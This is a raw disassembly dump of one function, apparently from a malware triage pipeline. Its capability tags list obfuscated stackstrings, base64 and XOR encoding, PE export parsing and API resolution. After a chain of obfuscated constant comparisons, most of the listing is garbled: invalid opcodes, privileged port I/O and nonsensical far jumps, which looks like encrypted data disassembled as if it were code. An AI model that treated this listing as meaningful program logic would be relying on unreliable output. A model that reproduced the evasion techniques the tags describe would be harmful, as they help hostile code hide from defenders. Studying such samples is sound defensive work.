Function at 0x6e61bef1
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x1b4
cmp dword [ebp + 0xc], 3
je 0x6e6b45f0
cmp dword [ebp + 0xc], 3
ja 0x6e6e99c5
cmp dword [ebp + 0xc], 2
je 0x6e69fb03
cmp dword [ebp + 0xc], 2
ja 0x6e6e99c5
cmp dword [ebp + 0xc], 0
je 0x6e6d06f4
cmp dword [ebp + 0xc], 1
jne 0x6e6e99c5
mov dword [ebp - 0x40], 0x7f54f
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x48], 0xf0a06
mov dword [ebp - 0x44], 0
mov ecx, dword [ebp - 0x40]
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x48]
mov edx, dword [ebp - 0x44]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x50]
xor eax, 0x16ff55
or eax, dword [ebp - 0x4c]
je 0x6e6321b3
mov edx, 0x16ff55
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0xe6fa5
or eax, dword [ebp - 0x4c]
je 0x6e61d926
mov edx, 0xe6fa5
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0xdb3ec
or eax, dword [ebp - 0x4c]
je 0x6e62c3d6
mov edx, 0xdb3ec
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0xcabb7
or eax, dword [ebp - 0x4c]
je 0x6e623706
mov edx, 0xcabb7
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0xaaea5
or eax, dword [ebp - 0x4c]
je 0x6e6265f6
mov edx, 0xaaea5
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x9612e
or eax, dword [ebp - 0x4c]
je 0x6e624e7e
mov edx, 0x9612e
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x7961a
or eax, dword [ebp - 0x4c]
je 0x6e620816
mov edx, 0x7961a
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x54482
or eax, dword [ebp - 0x4c]
je 0x6e627d6e
mov edx, 0x54482
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x4a8b6
or eax, dword [ebp - 0x4c]
je 0x6e621f8e
mov edx, 0x4a8b6
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x49fe8
or eax, dword [ebp - 0x4c]
je 0x6e62f2c6
mov edx, 0x49fe8
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x48eea
or eax, dword [ebp - 0x4c]
je 0x6e6294e6
mov edx, 0x48eea
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x439e0
or eax, dword [ebp - 0x4c]
je 0x6e62ac5e
mov edx, 0x439e0
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x39942
or eax, dword [ebp - 0x4c]
je 0x6e61c1ae
mov edx, 0x39942
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x178a3
or eax, dword [ebp - 0x4c]
je 0x6e62db4e
mov edx, 0x178a3
mov eax, 0
cmp edx, dword [ebp - 0x50]
sbb eax, dword [ebp - 0x4c]
jl 0x6e6321b6
mov eax, dword [ebp - 0x50]
xor eax, 0x4a82
or byte [edx], 0
or eax, dword [ebp - 0x4c]
je 0x6e630a3e
add dword [eax], eax
mov eax, dword [ebp - 0x50]
xor eax, 0x14478
or eax, dword [ebp - 0x4c]
je 0x6e61f09e
jmp 0x6e6321b6
mov ecx, 0xcc9a2715
clc
dec edx
sbb eax, 0x6d5f4719
wait
jecxz 0x6e61c18b
cmp byte [edi], al
fdiv qword [ecx]
mov dl, 0x30
xor al, byte [ebx + edi*2]
jle 0x6e61c23a
jnp 0x6e61c247
jo 0x6e61c1f4
sub dword [eax], ecx
fiadd dword [ebx]
add esi, dword [0xeafb739b]
or dl, bl
add eax, dword [ebx]
xor eax, 0xeafb739b
cmc
leave
bnd jne 0x6e61c196
loopne 0x6e61c1c7
or al, 0x6f
in eax, 0x4f
pop ebx
mov ebx, 0x28a075cc
invalid
and bl, bl
mov al, byte [0xc9b392b6]
popfd
push edi
mov edi, 0x91139218
mov dword [edi - 0xf], esp
mov al, 0x5d
lodsb al, byte [esi]
dec ebx
cmp byte [esi + eax*4], bh
sub eax, dword es:[ebx + 0x52]
pop esi
xchg esp, eax
test dword [eax], edi
dec esp
pop ebx
or al, 0x66
les ecx, [edi - 0x61]
idiv dword [ebx - 0x10274ae4]
or ebx, ebp
aad 0xfd
jle 0xf51f812c
aaa
aas
retf 0x5774
push ax
jle 0x6e61c2bd
push es
inc ebx
dec esp
imul eax, dword [edi - 0x1e], 0x24227d9e
mov bh, 0x24
invalid
and al, 0xb7
and al, 0x8e
hlt
mov byte [0xba76ac2f], al
lea edi, [ebx + esi*8 - 0x53acbe68]
sahf
push ds
push esp
inc eax
pop ecx
std
stosd dword es:[edi], eax
cdq
sahf
shl byte [eax - 0x1e], 1
push 0x43a5a50a
popal
enter 0x7d52, 0x45
adc al, 0x65
mov eax, dword [0x130903ca]
ljmp 0x7c20
push es
and esi, ebx
aas
mov dl, 0xe4
test eax, 0xaf4c94f9
sbb dword [edx], ecx
loopne 0x6e61d998
or dword [ecx - 0x7e], esi
or eax, dword [edx + 0x56e15f70]
invalid
dec esi
add bl, bh
mov esi, 0xcb9640dc
mov cl, 0xa
push es
retf
ret
cwde
jbe 0x6e61d991
jecxz 0x6e61d96b
sbb edx, dword [ecx - 0x77]
stc
retf
std
stc
movsb byte es:[edi], byte [esi]
cmp al, 0xe7
scasd eax, dword es:[edi]
pop esp
in al, dx
outsb dx, byte [esi]
xor ah, byte [eax]
mov esp, 0x4d755903
fsubr st(5), st(0)
jmp 0xb6e9d3ba
sub eax, 0xb7d1fe80
add al, 0x28
invalid
out 0x6c, eax
cmp ebx, dword [eax]
loop 0x6e621f9a
das
rol byte [edi - 0x263eb274], 1
inc esp
retf
fld dword [ebx + ecx*8 - 0x23]
xchg edx, eax
mov word [edx - 0x63aa99cf], es
sub byte [esi - 0x38], ch
dec esp
ja 0x6e621fcc
invalid
in al, 0x95
ror byte [ebx - 0x70], 2
sbb bh, byte [edi + 0x54]
fnstcw word [esi - 0x4df66e7]
invalid
in al, 0xc0
imul ecx, dword [eax - 0x4aa31e69], 0xdffe5635
je 0x6e623721
fdivrp st(0)
test al, 0x1e
xchg ecx, eax
add bh, byte [ebx + 0x7fe17694]
fnstsw word [ebx + eax*8]
retf 0xe82d
ret
mov edi, 0x954ab712
sub bh, byte [ebx]
ret 0x2a
mov eax, 0x63fe1116
pop ecx
scasd eax, dword es:[edi]
movsb byte es:[edi], byte [esi]
loope 0x6e624eb8
invalid
mov cs, word [ebp - 0x25dbbe05]
dec esi
insb byte es:[edi], dx
jo 0x6e624e52
jo 0x6e624ecb
mov ebp, 0x48651433
pop ebx
sub eax, 0x76e73de8
inc ebx
call 0xb1d9360d
dec edi
js 0x6e624f39
das
cmp ebx, eax
imul eax, ebp, 0xffffffc1
push ds
mov ebp, 0xc111e385
cmp dword [esi + ebx*4 + 0x43], eax
dec edx
xchg dword [ebx + esi*8 + 0x7bed8a2f], edx
push edi
jecxz 0x6e624f10
enter 0x1db4, 0xffffffffffffffb3
adc eax, 0x4ccb2d4b
inc ecx
fmul qword [eax + ecx*4 + 0x17e63fec]
xchg ebp, eax
cmp al, 0x88
cld
inc edx
ret 0x2408
mov ah, 0xf9
and al, 0xfa
stosb byte es:[edi], al
int1
adc byte [edi + ebp - 0x13], dl
ja 0x6e624f4f
adc byte [edx + 0x714e01de], ch
xor edx, ecx
pop ecx
xchg bh, al
cmp ah, byte [esi - 0x76]
popal
mov byte [esi], dl
mov dword [0x4079a5d8], eax
xor al, 0x6c
adc ecx, dword [ebx + 0x25a0b9e0]
invalid
mov al, byte [0xb31c8f25]
shr dh, cl
invalid
nop
int3
mov ch, 0x95
in eax, 0x46
out 0x17, eax
xor edi, dword [ebp + eax*4 + 0x2e]
pop es
jnp 0x6e624f7b
inc ecx
clc
mov al, bh
add al, 0xc3
das
sbb dh, byte [ebx]
in al, 0xc0
scasb al, byte es:[edi]
add eax, dword cs:[esi + 0x77]
sbb eax, ecx
xchg dword [eax - 0x1c], esi
call 0x3e0a4753
mov dh, 0x6b
fsub st(7)
xor ah, byte [ebx + 0x6b]
daa
inc esp
rcr dword [ebp + 0x10df64e6], 4
pushal
leave
dec ecx
inc edx
jge 0x6e624f4b
dec ebp
test eax, 0xf84527a7
cmp al, 0xbc
mov dh, 0x33
mov esi, 0x50ccd4eb
dec ebx
mov al, byte [0x5f53ec1a]
mov dl, byte [eax]
fsub qword [ebp + 0x3f]
add al, 0xc2
fsub dword cs:[edi + ebx*4 + 0x529aa8d0]
popal
and esp, dword [eax - 0x4f704d05]
insd dword es:[edi], dx
invalid
out 0x3b, eax
sbb byte [esi - 0x4f], ch
push eax
sub eax, 0xa7f1edd9
adc byte [ecx + ebp*4], bh
stosb byte es:[edi], al
or ebx, dword [ebx]
push ds
sub cl, ah
iretd
inc ecx
imul ecx, ecx, 0xffffffdb
outsd dx, dword [esi]
add al, 0xe9
pop ss
mov eax, 0x5912c710
ret 0x9166
in eax, dx
inc ebp
aaa
dec ebp
sub byte [esi - 0x5e], 0xf0
cmp byte [edx], bh
adc byte [edx], bh
xchg byte [edi - 0x19d0540d], cl
aad 0x67
push cs
mov esp, dword [eax + ebp*4]
retf
ficom dword [eax]
push eax
adc bl, cl
xor dword [eax], 0xacfd2c21
lcall 0x39ad, 0x333008f
xor byte [0x7f11accb], 0x28
pop dx
adc byte [eax], bh
jp 0x6e629490
push es
iretd
stosd dword es:[edi], eax
rol byte [edx + 0x47], 0x7f
fdivr dword [edx - 0x381c4aee]
cmp dword [esi - 0x405cb0d0], ecx
fsub dword [edi + esi*4 - 0x5836df4a]
inc ebp
inc ecx
add eax, 0xb914009
push edx
aad 0x64
mov ebp, 0x85bbdb0
invalid
jl 0x6e62c432
jmp 0xf6a1cb16
cmp bh, dh
call 0xfe91cfee
pushal
sbb eax, 0x79f45ca9
push edi
push es
dec ebp
wait
mov esp, dword [ebx - 0x24afaa55]
and dh, byte [ebp - 0x1c]
nop
in al, dx
ljmp 0xba4f
test byte [edx + 0x600a5185], cl
or dl, byte [eax + 0x4669e9cc]
add byte [eax], al
cdq
pop ebp
insd dword es:[edi], dx
in al, 0xf7
js 0x6e62db51
jnp 0x6e62db5a
add bl, bh
retf 0xa63b
cmp esp, dword [esi - 0xaee9dd8]
insb byte es:[edi], dx
fdiv qword [0xb74c556]
sub ch, byte [ebx + ebx*8]
je 0x6e62db40
inc ebx
or bl, byte [ecx + ecx*8 - 0x11]
sbb esp, ebp
or eax, 0x6748f812
daa
movsd dword es:[edi], dword fs:[esi]
pop edx
dec edx
out dx, al
adc eax, 0x662e9baa
mov byte [eax - 0x70], ah
rcl dword [edx + 0x31], 0xc2
mov dl, 3
aam 0xbb
sbb ebp, dword [ecx - 0x26]
or eax, 0x30cb00f4
in al, 0x4e
xchg esi, eax
rol dword [eax], cl
sub eax, 0x4f82fb19
push ecx
invalid
test eax, 0xe9b391cd
and bl, ah
mov ebp, dword [edx - 0x75926a11]
and byte [eax - 0x33], bl
pop ebx
xchg byte [edi + edx - 0x5224cb5f], ah
xchg esi, eax
jmp 0x89a096f8
test dword [eax + 0x60fb1c22], eax
push 0xb
imul byte [ebx - 0x60]
wait
cmpsd dword [si], dword es:[di]
xchg edx, eax
mov al, byte [0x78a5763]
shl dword [edx - 0x5cf82f98], 1
in al, 0xe5
mov edi, 0x89c1e91f
pop ebp
invalid
nop
jmp 0x6e6321b7
nop
call fcn.6dfa1eda
mov dword [ebp - 0x58], 0xa8ea5
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x60], 0xe2269
mov dword [ebp - 0x5c], 0
mov eax, dword [ebp - 0x60]
mov edx, dword [ebp - 0x5c]
sub eax, dword [ebp - 0x58]
sbb edx, dword [ebp - 0x54]
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], edx
mov eax, dword [ebp - 0x68]
xor eax, 0xe51a4
or eax, dword [ebp - 0x64]
je 0x6e6456aa
mov edx, 0xe51a4
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xd484d
or eax, dword [ebp - 0x64]
je 0x6e633d0a
mov edx, 0xd484d
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xc6dc3
or eax, dword [ebp - 0x64]
je 0x6e63e152
mov edx, 0xc6dc3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xc399f
or eax, dword [ebp - 0x64]
je 0x6e638372
mov edx, 0xc399f
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xb8ebd
or eax, dword [ebp - 0x64]
je 0x6e632592
mov edx, 0xb8ebd
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xb34a6
or eax, dword [ebp - 0x64]
je 0x6e641042
mov edx, 0xb34a6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xb01f3
or eax, dword [ebp - 0x64]
je 0x6e649d12
mov edx, 0xb01f3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xad5c4
or eax, dword [ebp - 0x64]
je 0x6e636bfa
mov edx, 0xad5c4
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xaa7ee
or eax, dword [ebp - 0x64]
je 0x6e646e22
mov edx, 0xaa7ee
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0xa1f11
or eax, dword [ebp - 0x64]
je 0x6e6529e2
mov edx, 0xa1f11
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x99c49
or eax, dword [ebp - 0x64]
je 0x6e63f8ca
mov edx, 0x99c49
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x8ee35
or eax, dword [ebp - 0x64]
je 0x6e64faf2
mov edx, 0x8ee35
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x880c5
or eax, dword [ebp - 0x64]
je 0x6e64b48a
mov edx, 0x880c5
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x7f5d2
or eax, dword [ebp - 0x64]
je 0x6e635482
mov edx, 0x7f5d2
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x747db
or eax, dword [ebp - 0x64]
je 0x6e64e37a
mov edx, 0x747db
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x70a7d
or eax, dword [ebp - 0x64]
je 0x6e65126a
mov edx, 0x70a7d
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x67fd7
or eax, dword [ebp - 0x64]
je 0x6e639aea
mov edx, 0x67fd7
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x6291c
or eax, dword [ebp - 0x64]
je 0x6e63c9da
mov edx, 0x6291c
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x60aaf
or eax, dword [ebp - 0x64]
je 0x6e643f32
mov edx, 0x60aaf
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x4d4a3
or eax, dword [ebp - 0x64]
je 0x6e64859a
mov edx, 0x4d4a3
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x3f6db
or eax, dword [ebp - 0x64]
je 0x6e65415a
mov edx, 0x3f6db
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x3eaa6
or eax, dword [ebp - 0x64]
je 0x6e64cc02
mov edx, 0x3eaa6
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x393c4
or eax, dword [ebp - 0x64]
je 0x6e6558d2
mov edx, 0x393c4
mov eax, 0
cmp edx, dword [ebp - 0x68]
sbb eax, dword [ebp - 0x64]
jl 0x6e6558cf
mov eax, dword [ebp - 0x68]
xor eax, 0x4a29
or eax, dword [ebp - 0x64]
je 0x6e6427ba
mov eax, dword [ebp - 0x68]
xor eax, 0x30759
or eax, dword [ebp - 0x64]
je 0x6e63b262
jmp 0x6e6558cf
mov byte [ebx - 0x6fd3c13f], 0
inc ecx
mov ecx, 0xa1e5a9f7
and eax, 0x966494d8
mov dh, byte [0xe559c050]
das
invalid
jae 0x6e633d0b
test eax, 0xcb467071
in eax, 0x3e
fcomp qword [esi + 0x705e6617]
cmpsd dword [esi], dword es:[edi]
rol edi, 0x39
invalid
and byte [edi + 0x58], bl
pop edi
pop eax
xchg esi, eax
in al, dx
lcall 0x709f, 0xd4f1afdf
inc esi
xor byte [ecx + esi*8 - 0x7b], dl
inc ecx
mov cl, 0x9d
jne 0x6e633cb2
fisttp word [ebp + 0x22]
push 0x584e58d9
imul edx, dword [ecx - 0xf3bfcef], 0x10b53dd8
cmpsb byte [esi], byte es:[edi]
clc
arpl word [edi + 4], cx
outsb dx, byte [esi]
xchg ebx, eax
mov eax, 0xf4a4f3fc
popfd
mov byte [0x65568263], al
jle 0x6e633d89
push esi
jle 0x6e633d89
and dh, al
arpl word [eax + 0x16acc547], di
invalid
sub ah, 0x72
sbb eax, 0xf5646e0f
jne 0x6e633d42
cmp eax, 0x88999b3f
xchg byte [edi - 0x3a], al
int 0x75
push esi
dec esi
wait
lahf
pushal
lea edi, [ebx]
cmp eax, 0x94642de6
cmc
test byte [edx - 0x4a], bh
jle 0x6e633dd4
pop es
pop ebx
and dl, byte [esi]
pop ebx
cmp al, 0x5a
out dx, eax
cmpsd dword [esi], dword es:[edi]
neg dword [ebp + 0x48]
test al, 0x66
das
invalid
sub eax, 0xcc904427
push ebx
sbb edi, eax
les edi, [ebx]
and byte [0xd0b61934], cl
hlt
xchg edi, eax
pop es
adc al, 0xc
xor byte [esi + 0x18], cl
sub cl, byte [ebp - 0x6832864a]
sar dword [eax + 0x7e4fce55], cl
and edx, ecx
dec eax
add esi, edi
stc
cmpsd dword [esi], dword es:[edi]
test byte [edi + 0x2947ec9c], cl
int 0x50
jmp 0xe6aa6ed4
in eax, 0x2d
jne 0x6e636c37
lcall 0xf8c7, 0xdd3c0dd9
sti
xchg edi, eax
jns 0x6e636c28
pop esi
pop esp
nop
int3
xor dword [ecx + 0x79], eax
loop 0x6e636be2
mov dword [0x3dd02975], eax
push edx
xchg ebx, eax
push ss
cmc
cmp dword [ebp + 0x73], ebx
mov esp, 0x9007cd6c
lodsd eax, dword [esi]
daa
mov ebp, edi
sbb esp, esp
xchg edi, eax
mov dh, 0x95
inc eax
iretd
ret 0xa786
or eax, 0xc416cd84
ret
mov edi, 0x3820284d
cmpsb byte [esi], byte es:[edi]
push ebp
popfd
mov cl, 0xa2
arpl word [edx], bx
in eax, dx
paddusb mm5, mm2
pop edx
sahf
fild word [0x2739c44e]
cmp dh, byte [esi]
insb byte es:[edi], dx
ror dword [esi + esi*2], 1
sub byte [edx + 0x43], 0x6c
adc bx, word [edx]
test dword [ebx], eax
cdq
push esp
push ebx
sbb al, 0xd0
pop ss
ljmp 0xc44e:0x5df9e5a
rcl byte [edi]
push edi
sbb eax, 0x98692ce7
xchg esp, eax
jne 0x6e63839f
jns 0x6e63842b
jae 0x6e6383f0
xor byte [esi], bh
sar byte [ebp - 0x6a], cl
enter 0xffffffffffff95a5, 0x55
mov dh, 0x13
and eax, 0x430a0962
or eax, 0x5339ccfc
mov eax, dword [0x933879da]
imul eax, dword [ecx + ebp*8 + 0x1c4c4ccc], 0x51
cdq
stosd dword es:[edi], eax
fadd dword [ebx + 0x14]
mov edx, eax
and byte [eax], al
jl 0x6e638381
cmp cl, byte [ecx]
xor al, 0x9f
adc esi, ebp
cmpsd dword [esi], dword es:[edi]
movsd dword es:[edi], dword [esi]
dec edx
push ebx
cmpsd dword [esi], dword es:[edi]
push 0x26
xor bl, cl
or byte [edi - 0x2a], cl
mov dword [edi + 0x41cfb06d], esp
push esp
adc eax, dword [ebx]
adc esi, dword [ebx - 0x676cbb2d]
std
adc eax, 0x46b6f3a0
or edi, dword [esi]
cmp al, 0x25
aad 0x92
pushfd
and eax, 0xb2883749
push edi
adc cl, 0xcc
inc ecx
in al, 0x52
or byte [edi - 0xa], bl
push edi
sar byte [edx + edx*8], 0xe
test dword [ecx + 0x3cd38846], edi
dec esp
jp 0x6e638416
mov dh, 0xe
push cs
adc al, 0xc4
int3
scasd eax, dword es:[edi]
sbb al, 0x15
xor al, 3
wait
not byte [ebx + ebx*4 - 0x3717275b]
sub ebx, dword [ebp - 0x7b0d4d2f]
xchg dword [eax - 0x4f1b6d3a], ebx
sal dl, 0x61
mov ebx, 0xe42d4314
inc esp
adc dword [edi - 0x57335b6e], eax
sub byte [edx - 0x1cfc64dd], dl
or al, 0x6e
pop esp
retf 0x6aec
mov byte [0xdf66356], al
mov edx, 0xabe368cc
fstp qword [edx - 0x3771eb14]
lahf
jb 0x6e63b2b6
invalid
dec ecx
inc edi
in al, dx
invalid
xchg ebx, eax
cmc
inc eax
nop
int3
mov bh, dh
and bh, byte [ebx + 0x33]
test dword [eax], eax
cmp byte [ebp - 0x2207074b], 0x25
inc esp
mov dword [0x553bf056], eax
jae 0x6e63c9d0
inc esp
stosb byte es:[edi], al
hlt
push ds
pop edx
mov ecx, 0xb6c5b235
sub al, 0x11
mov edi, dword [esi + 0x41d0fb6c]
scasd eax, dword es:[edi]
clc
into
test al, 0xdb
pop ecx
cmp edx, dword [ecx - 0x18]
popfd
aam 0x1d
rol dword [edx - 0x38], 1
mov ebx, 0xc48c93c4
dec ebx
xor byte [ecx], bl
cmpsb byte [esi], byte es:[edi]
xor dword [eax + ebx*4 - 0x5af69190], esp
dec ebp
pushfd
bound ecx, qword [edi]
xchg esp, eax
push esp
pop es
or byte [eax + 0x27], 0xd0
rol al, 1
mov al, 0x2a
and bl, byte [edi + 0x6d2cc82e]
inc ebp
inc esi
cwde
sahf
mov dl, 0x39
sti
ret 0xaedc
insb byte es:[edi], dx
or ecx, ecx
sbb eax, 0x742f86de
adc eax, 0xe3c81d50
imul ebp, dword [ebx + 0x75], 0x472d533e
ljmp 0x935b
jnp 0x6e63f882
jns 0x6e63f833
adc eax, 0xb0ccba4f
push 0x72
aad 0x8b
and dword [edi - 0x60], esp
test byte [si], bl
push ds
and al, 0xeb
or al, byte [eax + 0x4a]
retf 0x3c78
js 0x6e63f8c0
in al, dx
dec ecx
test eax, 0x8597ba52
sbb esi, dword [ecx - 0x58]
call 0x77c127b0
pop edi
mov al, 0x3c
invalid
push esi
popfd
pop edi
in al, 0x9f
mov al, 0x97
sbb dword [edi - 0x159d21d3], 0x5b4a0d9c
sub ch, dh
xor edi, dword fs:[edx - 0x16336f73]
xor edi, dword [edx - 0x16336f73]
or dword [eax + 1], esp
add byte [ebx], ch
jae 0x6e63f867
sub esi, dword [ebx - 0x66]
sbb ecx, 0x86053f4f
pop eax
adc al, byte [ebx]
imul edx, esi
imul ebx, dword [ebx + 0x374726f], 0xd9f39520
je 0x6e63f95a
sub byte [eax], bl
adc edi, ebx
mov bl, 0x25
fiadd word [ebp - 0x504a622c]
cmp ebp, ebp
push ds
int1
xchg esi, eax
xchg dword [ecx + 0x15], ecx
jnp 0x6e63f8ac
ficom dword [edx + esi*4 + 0xdd06c46]
lahf
dec esp
clc
mov ebx, 0xd3bb1918
lahf
sub eax, 0xf79228b4
mov dh, 0x45
fmul st(3), st(0)
popfd
inc edx
salc
and al, 0x8a
jle 0x6e63f913
retf
in eax, 0xd6
test dword [ecx - 0x37], edx
cmp esi, dword [eax - 0x5c]
insd dword es:[edi], dx
push ebp
and eax, 0x878bd6db
scasb al, byte es:[edi]
int 0x13
wait
fucom st(2)
ror byte [esi], 1
call 0x7a93089b
inc ebx
push ds
push ebp
retf
dec edi
jecxz 0x6e63f9ca
dec bx
scasd eax, dword es:[edi]
xor dword [ecx], esp
sub byte fs:[ebp + 0x59], 0x9f
push ds
aad 0x4f
loop 0x6e63f977
xchg ebp, eax
leave
pop ss
jnp 0x6e63f99f
or al, 0x60
jae 0x6e63f954
and eax, dword [0x96106c98]
invalid
mov ebp, 0xbcbda00a
out 0x84, al
or ah, byte [eax - 0x7b194343]
jge 0x6e63f978
xchg ebx, eax
test eax, 0xbc4a4d63
popfd
adc eax, 0xa2906732
pushfd
or eax, dword [esi]
mov eax, dword [0x2f2c7715]
invalid
pop edx
cmc
sti
cld
cwde
push edi
cwde
pushal
inc edi
wait
invalid
movhps xmm1, qword [eax - 0x4c447caa]
stosb byte es:[edi], al
outsd dx, dword [esi]
mov ecx, 0x5d155209
mov fs, word [eax - 0x38]
fsubr dword [esi + eax*2]
push 0x3249385
mov al, 0xe9
mov ebp, 0x1ef59e93
pop esp
xchg dword [edx + 0x53], edx
push edi
sub ch, al
inc ebx
adc byte [ebx + 0x4f], ch
clc
jge 0x6e63f99a
cdq
lcall 0xa86f, 0x563a582c
pop edi
dec ecx
or ch, byte [ecx + 0x5bf360f8]
mov ch, 0x75
clc
fld dword [edi + 0xb]
sti
or dword [ecx + 0x4c], eax
inc esi
xchg edx, eax
ror dword [ebp - 0x4db6c127], cl
push ss
movsd dword es:[edi], dword [esi]
sub byte [ecx + 0x6e], 0xb5
xchg dword [ebp - 0x52], esi
inc edi
jae 0x6e63fa5a
push cs
jo 0x6e63fa39
shr eax, cl
ret 0xadc
push esi
pop ss
mov esi, 0x740b8814
hlt
jno 0x6e63fab7
outsd dx, dword [esi]
xor al, 0xbb
pop esp
push 0x14
add dword [ebx + 0x6f], esp
hlt
aad 0x2d
cmp dword [eax - 0x37], edi
stosb byte es:[edi], al
xlatb
sub al, 0x4c
nop
xor al, 0xbb
mov eax, dword [0x5e56a106]
pop eax
inc ebx
push ebp
int3
pop es
mov ecx, dword [eax]
movsb byte es:[edi], byte [esi]
mov edi, esi
pop esp
adc cl, byte [ecx + 0x6f]
mov bh, 0x65
xlatb
in eax, 3
sub ah, byte [esi]
mov ebp, 0x8a5edf49
jno 0x6e63fa7c
xlatb
not byte [esi]
lodsd eax, dword [esi]
xchg ebx, eax
scasb al, byte es:[edi]
stosb byte es:[edi], al
mov dh, 9
invalid
mov byte [eax - 0x79f21442], dl
push ecx
sahf
stc
lds esi, ds:[edi - 0x6f5d7670]
mov dword [esi - 0x3430cf16], edx
fcmovne st(0), st(0)
